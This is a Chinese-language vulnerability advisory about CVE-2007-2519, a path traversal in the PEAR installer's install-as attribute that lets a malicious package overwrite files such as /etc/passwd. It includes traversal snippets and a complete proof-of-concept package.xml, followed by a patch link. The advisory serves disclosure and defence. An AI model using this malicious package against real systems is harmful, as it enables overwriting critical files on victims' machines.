安全研究
安全漏洞
PEAR INSTALL-AS属性任意文件覆盖漏洞
发布日期:2007-05-07
更新日期:2007-05-24
受影响系统:
PHP PEAR 1.0 - 1.5.3不受影响系统:
PHP PEAR 1.5.4描述:
BUGTRAQ ID: 24111
CVE(CAN) ID: CVE-2007-2519
PEAR是“PHP扩展和应用库”的缩写,用于为PHP用户提供结构化的开源代码库。
PEAR的安装属性实现上存在漏洞,本地攻击者可能利用此漏洞覆盖系统文件。
PEAR安装程序没有对package.xml的install-as属性或<install>标签执行验证,允许攻击者向任意位置安装文件,如果PEAR安装程序以特权用户权限运行的话,就可能覆盖关键的系统文件。
用户必须使用PEAR安装程序安装恶意软件包才会受漏洞影响。如果文件包含有类似于以下的install-as属性:
<filelist>
<dir name="/">
<file name="INSTALL" role="php" install-as="../../test.php" />
</dir> <!-- / -->
</filelist>
或类似于以下的<file>/<install>标签:
<contents>
<dir name="/">
<file name="INSTALL" role="php" />
</dir> <!-- / -->
</contents>
...
<phprelease>
<filelist>
<install as="../../test.php" name="INSTALL" />
</filelist>
</phprelease>
则PEAR安装程序就会将INSTALL文件安装到php_dir配置文件所指定最低目录两层之上。例如,如果php_dir为/usr/local/lib/php,install-as属性为 ../../../../etc/passwd,则PEAR安装程序就会覆盖/etc/passwd文件。
<*来源:Gregory Beaver (cellog@php.net)
链接:http://pear.php.net/advisory-20070507.txt
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
如果php_dir是/usr/local/lib/php的话,就会将INSTALL文件安装到/usr/local/test.php。
<?xml version="1.0" encoding="UTF-8"?>
<package version="2.0" xmlns="http://pear.php.net/dtd/package-2.0"
xmlns:tasks="http://pear.php.net/dtd/tasks-1.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://pear.php.net/dtd/tasks-1.0
http://pear.php.net/dtd/tasks-1.0.xsd
http://pear.php.net/dtd/package-2.0
http://pear.php.net/dtd/package-2.0.xsd">
<name>Test_Sec</name>
<channel>pear.php.net</channel>
<summary>Test security vulnerability</summary>
<description>demonstrate install-as vulnerability
</description>
<lead>
<name>Greg Beaver</name>
<user>cellog</user>
<email>cellog@php.net</email>
<active>yes</active>
</lead>
<date>2007-03-05</date>
<version>
<release>1.6.0</release>
<api>1.6.0</api>
</version>
<stability>
<release>stable</release>
<api>stable</api>
</stability>
<license uri="http://www.php.net/license">PHP License</license>
<notes>
allow up to latest beta version [tias]
</notes>
<contents>
<dir name="/">
<file name="INSTALL" role="php" />
</dir> <!-- / -->
</contents>
<dependencies>
<required>
<php>
<min>4.3.0</min>
</php>
<pearinstaller>
<min>1.4.3</min>
</pearinstaller>
</required>
</dependencies>
<phprelease>
<filelist>
<install as="../../test.php" name="INSTALL" />
</filelist>
</phprelease>
</package>
建议:
厂商补丁:
PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://pear.php.net/get/PEAR-1.5.4.tgz
浏览次数:2560
严重程度:0(网友投票)
绿盟科技给您安全的保障
